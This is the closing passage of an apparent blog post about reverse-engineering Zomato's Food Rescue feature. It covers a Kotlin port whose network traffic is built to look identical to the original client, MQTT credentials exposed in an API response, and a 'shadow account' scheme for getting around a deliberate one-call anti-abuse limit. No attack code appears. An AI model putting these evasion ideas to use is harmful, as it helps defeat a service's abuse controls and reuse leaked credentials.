<p><strong>Distribution:</strong> I packaged the Python logic into a CLI app: <a href="https://github.com/jatin-dot-py/jomato">github.com/jatin-dot-py/jomato</a>. But asking people to run a Python script on Termux or a personal server felt like the wrong UX.</p>
<p>I tried building a mobile UI with Flet. Eight hours later, nothing usable.</p>
<p>So I ported the entire thing to Kotlin. The prompt I gave the LLM was precise: <em>“Copy this Python script exactly. Same headers, same business logic. At the network level, no one should be able to tell whether it’s Python or Kotlin.”</em> The Kotlin app came together in under 24 hours: <a href="https://github.com/jatin-dot-py/jomato-mobile">github.com/jatin-dot-py/jomato-mobile</a>.</p>
<h2><strong>What This Reveals About Zomato’s Architecture</strong></h2>
<p>A few things stood out from this investigation worth noting independently:</p>
<ul>
<li><p><strong>Server-driven UI at scale:</strong> Zomato’s entire frontend is orchestrated from the server. The client app is a generic renderer. This lets them ship UI changes without app updates, but it also means the entire payload — including internal action endpoints, deeplinks, and analytics — is exposed to anyone who can read the JSON.</p>
</li>
<li><p><strong>MQTT for real-time events:</strong> Using MQTT for features like Food Rescue is a sensible architectural choice. It’s lightweight, persistent, and works well for broadcast scenarios. The credential exposure in the home feed response (username and password for the MQTT client) is worth noting — anyone who can read that API response can subscribe to the same topics.</p>
</li>
<li><p><strong>The pitch-once constraint as abuse prevention:</strong> The single-call limit on <code>/gw/gamification/food-rescue/create-cart</code> is almost certainly intentional — it prevents one session from camping on the endpoint and blocking other users. But it has the side effect of making the flow incompatible with programmatic interception, which may also be intentional.</p>
</li>
</ul>
<h2>What’s Next</h2>
<p>A few ideas I haven’t fully explored:</p>
<ul>
<li><p><strong>Deep linking completion:</strong> There may be a way to start the cart programmatically and hand off to the official app mid-flow. I haven’t found it yet, but I haven’t fully given up.</p>
</li>
<li><p><strong>Shadow account approach:</strong> Run a secondary Zomato account that mirrors your address and location. The shadow account handles the MQTT monitoring and the initial cart call. When it fires, your real account opens the app fresh — no “already pitched” state, full flyer experience.</p>
</li>
<li><p><strong>Good enough as-is:</strong> The notification-first approach already removes the need to stare at the app. For most users, that’s sufficient.</p>
</li>
</ul>
]]></content:encoded></item></channel></rss>